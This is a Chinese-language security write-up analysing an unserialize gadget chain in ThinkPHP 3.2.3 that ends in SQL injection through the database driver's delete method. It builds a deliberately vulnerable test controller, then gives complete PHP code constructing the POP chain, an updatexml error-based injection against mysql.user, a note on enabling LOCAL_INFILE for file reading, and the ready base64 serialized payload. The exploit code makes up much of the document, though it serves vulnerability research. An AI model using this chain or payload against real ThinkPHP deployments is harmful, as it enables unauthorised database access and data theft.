thinkphp3.2.3反序列化利用链分析
前置知识:
- PHP反序列化原理
PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。 - 在PHP反序列化的过程中会自动执行一些魔术方法
方法名 ---------------调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
- 反序列化的常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
4.反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this->$func();
5.反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
6.Phar反序列化原理以及特征
phar://伪协议会在多个函数中反序列化其metadata部分
受影响的函数包括不限于如下:
copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo
环境:
搭建
先到thinkphp官网去下载thinkphp_v3.2.3完整版源码(https://www.thinkphp.cn/Down),然后解压到phpstudy网站根目录下。
利用条件
具有反序列化入口
入口
先写一个反序列化入口,在控制器写入:
//Application/Home/Controller/HelloController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index(){
echo base64_decode($_GET['Ufgnix']);
unserialize(base64_decode($_GET['Ufgnix']));
}
}
分析过程
由上面的前置知识知道,反序列化头一般在__destruct方法,因此全局搜索__destruct()
一个个查看,以可控变量尽量多的原则进行筛选,最终找到:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
文件中,具有可控变量的析构函数方法:
分析:
如果我们对 img
属性赋一个对象,那么它会调用 destroy()
方法,因此继续往下走,我们全局搜索具有 destroy()
方法的类
注意:
在PHP7版本中,如果无参调用一个含参方法,ThinkPHP会报错,而在PHP5版本中不会报错
我们全局搜索destroy()
方法的类,找到的的结果如下:ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
<?php
namespace Think\Session\Driver;
class Memcache {
protected $lifeTime = 3600;
protected $sessionName = '';
protected $handle = null;
public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}
destroy()
方法有两个可控参数($handle、$sessionName
),$sessID
不可控。调用 delete
方法,同样,类可控, delete
方法的参数看似可控,其实不可控,因为下方全局搜索后, delete
方法需要的参数大多数都为 array
形式,而上方传入的是 $this->sessionName.$sessID
,即使 $this->sesionName
设置为数组 array
,但是 $sessID
如果为空值,在PHP中,用 .
连接符连接,得到的结果为字符串 array
。
<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
PHP Notice: Array to string conversion
先继续搜索一下delete方法:ThinkPHP/Library/Think/Model.class.php文件中
//ThinkPHP/Library/Think/Model.class.php
<?php
//只记录关键代码
namespace Think;
class Model {
protected $db = null;
// 主键名称
protected $pk = 'id';
// 数据信息
protected $data = array();
// 查询表达式参数
protected $options = array();
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}
p k 、 pk、 pk、data、$options变量可控,
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
看这一段,获取主键,然后判断是否为空,如果为空,就会自己调用自己获取主键,使自己不为空
脱离当前if判断区域,继续向下走:
我们要利用delete方法执行删除操作,因此设置$options['where']="1=1"
即可,下面,第二次调用delete方法,不过这里的delete方法就不是上面那个,而是db里面的,而db我们可控,由利用连调试,这里会去调用到数据库驱动类中的delete()
中去,而不是当前文件当中的delete()方法,即ThinkPHP/Library/Think/Db/Driver.class.php中的delete():
可以看到$table经过parseTable方法处理之后,直接进行了拼接,而parseTable方法中并无过滤操作,因此出现注入问题,这样,一条完整的链子就出来了
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()
–>ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()
–>ThinkPHP/Library/Think/Model.class.php::delete()
–>ThinkPHP/Library/Think/Db/Driver.class.php::delete()
构造pop:
首先是__destruct,我们需要调用Memcache的destroy方法
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
接下来$this->handle指向Model类去调用delete方法,并精心构造我们的sql语句
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "username where 1=updatexml(1,user(),1)#",
"where" => "1=1"//分析中说过这里要设置where=‘1=1’
);
}
}
注意我们需要去初始化数据库的连接,这里我们使用默认的在Think\Db\Driver\Mysq下的Mysql,发现继承了Driver类,这里建立了PDO配置建立数据库连接,因此我们只需要在Mysql下配置好数据库配置即可
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "testtest",
"password" => "testtest"
);
}
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
?>
得到:
?Ufgnix=
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6NzoiACoAZGF0YSI7YToxOntzOjI6ImlkIjthOjI6e3M6NToid2hlcmUiO3M6MzoiMT0xIjtzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7fX1zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjEwOiIAKgBvcHRpb25zIjthOjE6e3M6NToid2hlcmUiO3M6MDoiIjt9czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjk6IgAqAGNvbmZpZyI7YTo4OntzOjU6ImRlYnVnIjtiOjE7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6NDoidHlwZSI7czo1OiJteXNxbCI7czo4OiJob3N0bmFtZSI7czo5OiJsb2NhbGhvc3QiO3M6ODoiZGF0YWJhc2UiO3M6ODoidGhpbmtwaHAiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290IjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjMzMDYiO31zOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fX19fX0=
传入,检验无误